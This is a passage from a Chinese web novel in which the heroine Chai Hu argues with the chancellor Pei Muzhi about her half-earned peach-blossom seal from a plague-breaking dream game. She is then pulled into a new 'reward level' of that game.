柴胡挠挠脸,“硬要说的话,也算是两枚?” 裴慕栀不懂为何是疑问,他对于柴胡通关获得桃花印的事情极为迫切,比谁都希望她早日集齐六枚,解开这个哽咽于胸口的结。 说的多不如直接看上一眼实在,裴慕栀干脆向柴胡借她卡片一观。 柴胡犹豫一下,还是递给他了。 原先柴胡就拥有一枚半的印记,通关了常回家看看这乱七八糟的游戏任务后,按正常来讲,她的第三个格子应该是完整的一朵桃花。 然而事情正如裴慕栀所担忧的,第三个格子上依然是只有半枚。 在洁白的纸片上,格外刺眼。 裴慕栀沉默地递回去,语重心长道:“柴姑娘,你也该知道,比起神器用尽,你最担忧的应该是你的神器能不能用上。” 他在关卡里观望许久,虽有一半原因是突然发病,浑身无力派不上用场。但更多的是他时刻留意着柴胡的通关方式。 “你的身体虚弱,不宜做激烈的举动,偏偏你使用神器要靠近关主,纵使这次的关主行事……颇如稚童,也难保你下次会遇到同类关主,莽撞不是一件可以屡试不爽的事。” “我听胡喻提过了,你救了我,我也不会追问你的秘药来自何方……”裴慕栀垂眸看着托腮望窗外,似在发愣,充耳不闻其它事的柴胡。 默默咽下了救命之恩没齿难忘,以后会在他看得见的地方护住柴胡的保证。 有些事,只需要看他做了什么,而不是嘴上说些什么。 “依柴姑娘之见,可曾想过为何你的桃花印只有半枚?” 柴胡听到了正题,终于舍得正眼看裴慕栀,“可能是梦姑看我不顺眼?” 裴慕栀:“……你说得也有几分道理。但我的也是半枚。” 一直面无表情的柴胡此时一听,难得有了一丝惊讶,挑挑眉道:“因为她也看你不顺眼。” 裴慕栀:“……”综前所述,好像真的挺有道理的。 仰头回忆半天,终究把荒唐的想法强压回去,“我在思考,有没有可能是我们没有正确地通关游戏,我反复思量过山雀口中所说的过往,以及那些老人的事,这里面应该藏着很深的水。” “所以呢?你是来指责我的行事作风?”柴胡冷冷地与裴慕栀对望。 裴慕栀正色道:“柴姑娘,为了能顺利得到一切的答案,有时候确实要更改行事举动,我只希望柴姑娘能在行事前多想想后果。” 柴胡宛如失去精气神,突然泄气佝偻起身子,无力敷衍道:“下次一定。” 裴慕栀自以为柴胡听进去他的劝告,心情有些转好,看柴胡的眼神更加温和。 “但我不认为我自己做错了。”柴胡忽然反驳。 “你想探究那只烤鸟是你的事,我的判断在当下没有错。” 裴慕栀有些惊讶,没料到柴胡会向他讲这些。 “我不知道什么正确的攻略方法,说到底在这个世间,在那荒诞的梦境,到底有什么算得上是正确的?” 如果按照裴慕栀所想,他要探索山雀的过往,势必要聆听他的描述,前车之鉴便是那群疯了一般搞信仰的人。 或许在裴慕栀的概念里,不理解什么叫精神攻击,什么叫洗//脑,但对于柴胡这种阅览过许多奇怪知识的人来说,是赌不起全军覆没的后果。 柴胡缓缓站起来,尽管身高比不上裴慕栀,至少气势上不能输。 “比起瞻前顾后,我更喜欢追求效率。就我个人而言,这才是正确的做法。” “那仅有的半枚桃花,你可曾想过如何补全?按照这种情况,你以后的桃花也只有半枚。”裴慕栀眉心皱起。 “这场瘟疫已有三年之久,我可能是那唯一的例外,有例外才有破局之处。你也是因为这样才盯上的我不是?”柴胡不甘示弱。 “半枚又如何?只要我不死,这半枚总有补齐的时候。你是丞相,你背负大齐的使命,而我只有一个人,你不敢赌我敢。哪怕赌输了,我也是后来者的垫脚石,能够成为你大齐丞相裴慕栀破解这瘟疫的一枚棋子!” 静谧的雅间,两人四目相对。 茶水早就凉透了,却浇不灭柴胡眼底静静燃烧的坚毅。 许久,裴慕栀收回视线,复杂神色恢复如常,淡淡道:“我知道了。” 柴胡点点头,“没事我就先走了。”饭都没吃上一口,本来就没什么力气,还生气了,力气更是加倍消耗。 说着与裴慕栀错开身子,刚要拉开门,门就自己从外头打开了。 胡文思趾高气昂地走进来,“裴慕栀,我们之间的话没说完,你就走了,你怎么那么孬种……” 言语未尽,胡文思就整个栽倒,正正好砸在了柴胡身上。 柴胡哪成想自己那般脆弱,一砸就眼前一黑,晕了。 直到她重新睁开眼,看到白雾才后知后觉,哪里是被人砸晕了,她是劳模啊,强迫性被人抓进梦境上班了。 柴胡索性闭眼,不愿面对眼前的一切。 一合上眼,就有人来戳她手臂,拨开了又来戳,烦人要命。 怒不可遏的柴胡眼皮一掀,直直对上一张极具冲击力的艳丽,蛾眉皓齿顾盼生姿。 下一刻,被柴胡盯久了的女子立刻翻脸,狠厉浮上眉间,“看够了就给我滚开。” 柴胡默默移开视线,明明是对方先招惹她的,然而她不能跟对方讲道理,只能吃这哑巴亏,毕竟对方可是世家之首,初次见面就砍了一个人的头颅。 胡文思比柴胡高上一个头,以现代人的基准,应该得有一米七五。柴胡正常知识没学多少,不晓得换算成古代应是几尺,反正除了她,也无人在意。 胡文思双手环胸,端详了她半天,冷声问道:“你跟裴慕栀是什么关系?为何会孤男寡女共处雅间?” 这时柴胡才反应过来,她方才是跟一个外男共处一室,若是传出去,估计得判个浸猪笼。 想来裴慕栀与柴胡在乱七八糟的游戏任务里可能彼此相处习惯了,没多大在意这点距离,可在外人眼里,妥妥的不知羞耻。 不过裴慕栀这只老狐狸真的没想到这点吗? 柴胡闪过一丝念头,但面前最要紧的是胡文思的质问。 “我们是交易关系,”柴胡想了想,又补了一句,“正经的那种。” 胡文思显然不信,想继续细问。 正在这时,梦姑款款而来,白雾渐消。 一些人影陆陆续续显现。 柴胡数了数,加上她一共得有十个人,恰好五男五女。 男子之中有三名是胡文思的手下,穿着同样的侍从服饰,一见到胡文思立刻围在她身边。 剩余的两名男子并肩站立,穿着一身刀客装扮,络腮大胡,露出粗壮的肱二头肌,柴胡隐约有点印象,似乎是在酒肆吃饭时见过。 而剩余的三名女子,柴胡看了许久,认出其中两人是裴慕栀抓走她时,与她搭桌又看戏的。 最后一名女子没有戴帷帽,表现出一副唯唯诺诺的小白花模样,看谁都怯怯的。但柴胡不认识,看了几眼就算了。 收回视线的同时,她发觉到梦姑直勾勾地凝视她。 柴胡:“……”就差在额头上刻着要给她穿小鞋。 梦姑笑吟吟道:“各位经过连日来的游戏任务,想必是累了吧。为了给各位提供最好的游戏体验,今日的关卡是奖励关。” 众人一听是奖励关,警惕的神情有些放松。 因为奖励关不同于正式的关卡,正式的关卡任务千奇百怪,还会死人。而奖励关却是非常和谐,尽管也是同样的千奇百怪,但不会死人,任务也非常简单。 比方说,有一个人他的任务是坐上飞毯,穿梭迷宫。飞毯自带迷宫路线,那人单纯只是在飞毯上体验了一把飞的感觉。 再比如,柴胡来到这破世界,第二次进梦时就是遇到奖励关,她的任务是与关主坐着纯聊天。 简直是从诗词歌赋聊到人生哲学,也不见关主有停止话题的欲///望。

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